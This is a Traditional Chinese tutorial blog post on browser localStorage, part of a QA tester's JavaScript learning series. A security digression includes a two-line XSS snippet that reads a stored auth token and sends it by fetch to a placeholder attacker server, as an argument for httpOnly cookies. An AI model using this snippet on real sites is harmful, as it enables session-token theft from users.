iT邦幫忙

2026 iThome 鐵人賽

DAY 13
0
JavaScript

QA 的 JavaScript 初心之路:30 天做出一個能玩的戰鬥小遊戲《勇者 vs 小怪》系列 第 20 篇

Day20|我半年前用來測 API 的那把鑰匙,其實 XSS 兩行就能偷走

  • 分享至 

  • xImage
  •  

今天的主題:localStorage——讓資料「關掉再開還在」

到目前為止,只要重新整理頁面,一切歸零:名字沒了、回合數沒了。因為資料都在記憶體裡,關掉就消失。

今天要用 localStorage —— 瀏覽器提供的小型倉庫,存進去的東西關掉瀏覽器、重開電腦都還在。

四個方法

localStorage.setItem("key", "value");   // 存
localStorage.getItem("key");            // 讀(沒有的話回傳 null)
localStorage.removeItem("key");         // 刪一筆
localStorage.clear();                   // 全部清空

看起來很單純,但我今天撞了四個坑,而且每一個都跟前面幾天學過的東西有關。

坑一:它只能存字串,而且不會告訴你

const hero = { name: "勇者", hp: 100 };
localStorage.setItem("hero1", hero);

const 讀回來 = localStorage.getItem("hero1");
console.log("讀回來的值:", 讀回來);
console.log("型別:", typeof 讀回來);
console.log("想拿 name:", 讀回來.name);

我猜讀回來會是 { name: "勇者", hp: 100 },而 .name 可能拿不到 —— 想說大概是少套了一層。

實際結果:

讀回來的值: [object Object]
型別: string
想拿 name: undefined

插入 day20-2.png:讀回來的值是 [object Object]

[object Object] —— 這是 JavaScript 在「把物件硬轉成字串」時的預設產物。也就是說,name 和 hp 不是包裝錯了,是整包資料已經消失,只剩下這 15 個字元。

我猜對了結果(拿不到 name),但原因完全不同。不是層數的問題,是那已經不是一個物件了,而是一個普通字串 —— 字串當然沒有 name 屬性。

最可怕的是它從頭到尾不報錯。 setItem 開開心心地存了,getItem 開開心心地還你,只是東西不見了。又一個安靜失敗。

解法:JSON 轉一圈

const hero2 = { name: "勇者", hp: 100, skills: ["火球術", "治療"] };
localStorage.setItem("hero2", JSON.stringify(hero2));

const 還原 = JSON.parse(localStorage.getItem("hero2"));
console.log("拿 name:", 還原.name);              // 勇者
console.log("拿陣列第一項:", 還原.skills[0]);    // 火球術

插入 day20-3.png:JSON 版本正確還原,連陣列都完整

倉庫裡實際存的東西長這樣:

{"name":"勇者","hp":100,"skills":["火球術","治療"]}

它是一個字串,只是這個字串有結構,可以被完整還原。JSON.stringify 負責「物件 → 字串」,JSON.parse 負責「字串 → 物件」。

JSON.stringify 我 Day 6 用過一次 —— 當時是為了在主控台凍結陣列的快照。今天它有了第二個用途。同一個工具,兩種完全不同的場合。

坑二:第一次玩的時候沒有資料

getItem 找不到東西時回傳 null —— Day 10 那個「查無此物」的老朋友。

const best = localStorage.getItem("bestTurn");
console.log("第一次讀:", best, typeof best);    // null "object"
console.log("直接相加:", best + 1);
console.log("轉數字後:", Number(best) + 1);

我猜兩個都是 1,結果也真的都是 1。

插入 day20-4.png:兩行都印出 1

但我原本以為的理由是「null 會被 1 取代」,實際規則是:null 在數學運算裡會被當成 0,所以 0 + 1 = 1。

而真正值得注意的是另一件事 —— 這次「忘記轉數字」剛好也是對的。

對照 Day 15:當時輸入框是空的,"" + 1 得到的是字串 "1",因為 "" 是字串,加號就變成拼接。但 null 不是字串,所以加號做的是數學加法,得到數字 1。

同樣是「沒有資料」,null 和 "" 的行為完全不同。而這種「在某個情況下碰巧正確」的程式碼,跟 Day 16 那個「min = 1 時公式碰巧正確」是同一類最危險的 bug —— 它在你最常測的情況下是對的。

坑三:存進去的數字,拿出來是字串

localStorage.setItem("turn", 5);
const t = localStorage.getItem("turn");
console.log(t, typeof t);        // 5 string
console.log("字串相加:", t + 1);  // 51
console.log("轉數字:", Number(t) + 1);  // 6

插入 day20-5.png:字串相加得到 51

存的時候給它數字 5,它自己轉成字串 "5" —— 因為坑一說的,它只能存字串。

"5" + 1 得到 "51"。這就是 Day 15 那個輸入框的坑,換了一個入口又出現一次。

所以我的規則變成:任何從 localStorage 拿出來的數字,一律先 Number() 轉一次。

第一次玩該存什麼?我選了 null

紀錄功能有個設計問題:第一次玩、還沒有任何紀錄的時候,該存什麼?

方案 問題
存 0 沒有人能用 0 回合贏,這個紀錄永遠破不了
存 999 玩家可能看到「最少回合紀錄:999 回合」
不存,用 null 判斷 要多寫一個判斷

一開始我覺得 999 也可以 —— 如果設定成「必須通關過一次才看得到挑戰」,那第一筆紀錄一定會取代 999,玩家永遠看不到那個數字。

但想了一下還是選 null,理由是未來有問題時才不會誤判。

999 的麻煩在於它假裝自己是一筆真的紀錄:

  • 程式看不出 999 是佔位符還是真實資料
  • 只要有一個顯示的地方忘記判斷,玩家就會看到「999 回合」
  • 它依賴「必須通關才看得到」這個假設,而假設是會變的 —— 等到有天改了設計,沒人記得 999 是什麼意思

這種「用特定數值假裝自己是空的」在業界叫 magic number(魔術數字),是經典的技術債。

而 null 的好處正好相反:它逼你明確處理「沒有資料」的情況。

function getBestTurn() {
  const raw = localStorage.getItem(RECORD_KEY);
  if (raw === null) {
    return null;          // 還沒有任何紀錄
  }
  return Number(raw);     // 記得轉數字
}

坑四:兩條「重新開始」的路徑,行為不一樣

整合進遊戲之後,我在 reset() 裡發現一個問題。

當時我重置了血量、回合、鞭屍次數、isOver,但沒有重置 battleStarted。結果:

重新開始的方式 名字能改嗎 回合數 紀錄
重開瀏覽器 能 歸零 保留
按「再戰一次」 不能 歸零 保留

同樣是「重來一場」,玩家卻得到兩種不同的結果,而且沒有任何合理的理由解釋為什麼。這種不一致就是 bug —— 即使兩邊單獨看都「能用」。

而修的時候還有第二層:只把 state.battleStarted 設回 false 還不夠,輸入框和按鈕仍然是灰的。那會變成新的不一致 —— 狀態說「戰鬥還沒開始」,畫面卻說「不能輸入」。

state.battleStarted = false;
nameInput.disabled  = false;
startBtn.disabled   = false;

狀態和畫面要一起重置。 這是 Day 11 那個「資料改了畫面沒跟上」的第二次現形,只是這次反過來 —— 我改了資料,忘了畫面。

一個很 QA 的觀察:玩家可以直接改分數

DevTools 有一個「應用程式」分頁,左邊點開「本機儲存空間」,可以直接看到所有存進去的東西。

插入 day20-8.png:DevTools 裡看得到 bestTurn = 4

而且不只能看 —— 可以直接雙擊修改,也可以刪掉。

所以 localStorage 是「方便」不是「安全」。這跟 Day 15 那個 maxlength 完全同一個道理:前端的一切都可以被繞過。

看到這裡我一度覺得:那這東西在我的遊戲裡根本沒地方用啊?既然能被改,回合數不能記、血量攻防更不能記,頂多記一下勇者名字(被改了無傷大雅)。

我還想到它真正常見的用途:登入網站之後拿到一把鑰匙,只要沒過期就不用重新登入 —— 那確實是 localStorage 的典型場景。而這件事讓我想起半年前的一個發現。

岔題:我半年前在這個分頁裡找到過登入憑證

大約半年前我才知道,可以在 DevTools 的「應用程式」分頁看到自己登入帳號的憑證(token)。後來發現這東西很實用:用 Postman 測需要登入的 API 時,把它複製過去就能通過驗證,不用每次重新跑登入流程。這是很多人在用的測試技巧。

當時我還想過它安不安全,自己推了一輪:

  • 能拿到這把鑰匙的人一定登入過
  • 如果亂改,驗證會失敗,反而無法登入
  • 重新登入的話舊的就會被刷新

所以結論是:只要使用者不要「自己」交給別人,應該算安全吧?

寫到 Day 20 我才發現,這個推理前三點都對,但最後那句有個洞 —— XSS 攻擊不需要使用者自願交出來。

回想 Day 13 那個看不見的攻擊。如果網站有 XSS 漏洞,攻擊者的 JavaScript 在頁面上執行,兩行就夠了:

const token = localStorage.getItem("authToken");
fetch("https://攻擊者的伺服器/收集", { method: "POST", body: token });

畫面完全正常,使用者什麼都沒做,憑證已經被送走了。 這就是 Day 13 那張隱形破圖的真實版本。

而業界的解法很直接:讓 JavaScript 根本讀不到它。

存放位置 JS 讀得到嗎 XSS 能偷走嗎
localStorage 讀得到 能
一般 cookie 讀得到 能
httpOnly cookie 讀不到 偷不走

httpOnly 的意思是「這個 cookie 只給 HTTP 請求自動帶上,JavaScript 不准碰」。瀏覽器每次請求都會自動附上它,但 document.cookie 完全看不到 —— 所以就算攻擊者成功注入程式碼,也拿不到。

這裡有個對測試工作的實際影響:如果一個網站的憑證是 httpOnly cookie,你在「應用程式」分頁就看不到它的值,也沒辦法複製到 Postman。那時候要測 API 得換方法(在 Postman 裡真的跑一次登入,或用瀏覽器的「Copy as cURL」)。

反過來說,能在那裡看到並複製出來,就代表它存在 localStorage 或一般 cookie。這不一定是做錯了 —— 取決於風險評估和其他防護(例如效期很短、有刷新機制)。但這確實是一個值得問的問題,而我以前根本不知道有這個問題可以問。

半年前我覺得那是一個「好用的測試小技巧」,現在看它同時也是一個「這個網站把鑰匙放在 JavaScript 拿得到的地方」的訊號。同一個畫面,學了 XSS 之後看到的東西完全不一樣。

但寫下「名字被改了無傷大雅」這句話的時候,我發現自己的推理有個洞:如果判斷標準是「被改了會怎樣」,那單機的回合紀錄其實也無傷大雅。

玩家把紀錄改成 1 回合,然後看著一個自己明知道是假的數字 —— 這叫騙自己,不叫作弊。沒有排行榜、沒有別人看得到,沒有受害者。

所以真正的判斷標準不是「能不能被改」,而是:改了之後誰受害?

資料性質 能用 localStorage 嗎
單機紀錄、偏好設定、記住上次輸入 可以 —— 改了只影響自己
跟別人比較的排行榜 不行 —— 會影響其他玩家
金錢、權限、購買紀錄 絕對不行

這也讓我看清楚明年那個「雲端英雄榜」的難處:那才是真正不能用 localStorage 的場景。分數必須存在伺服器,而且伺服器要自己驗算 —— 不能相信前端傳過來的任何數字。

一開始的懷疑方向是對的(「這東西能被改,那我能信任它嗎?」),只是答案不是「不能用」,而是「看資料的性質」。

小結

今天搞懂的事:

  • localStorage 的四個方法:setItem / getItem / removeItem / clear
  • 它只能存字串,直接存物件會變成 [object Object],資料整包消失而且不報錯
  • 存物件要 JSON.stringify,讀回來要 JSON.parse
  • 拿不到資料時回傳 null;null 在運算裡被當成 0(跟 "" 的行為不同)
  • 存進去的數字拿出來是字串,一律先 Number() 轉換
  • 用 null 表示「沒有資料」,不要用 999 這種魔術數字假裝
  • 同一個功能有兩條路徑時,要檢查它們行為是否一致
  • 重置狀態時,狀態和畫面要一起還原
  • localStorage 可以被玩家直接修改 —— 它是方便,不是安全
  • 但「能被改」不等於「不能用」:真正要問的是改了之後誰受害。單機紀錄改了只騙自己,排行榜改了會影響別人
  • 存在 localStorage 的登入憑證,XSS 兩行程式就能偷走;httpOnly cookie 讓 JavaScript 根本讀不到它
  • 能在「應用程式」分頁看到憑證,代表它放在 JS 拿得到的地方 —— 這是一個可以問的問題

明天要當一次自己的 QA:拿一個被動過手腳的版本,找出裡面藏的 bug。


上一篇
Day019|非同步:畫面凍住的 3 秒,我自己放棄了點擊
下一篇
Day21|四個 bug,三個不會報錯
系列文
QA 的 JavaScript 初心之路:30 天做出一個能玩的戰鬥小遊戲《勇者 vs 小怪》 共 30 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言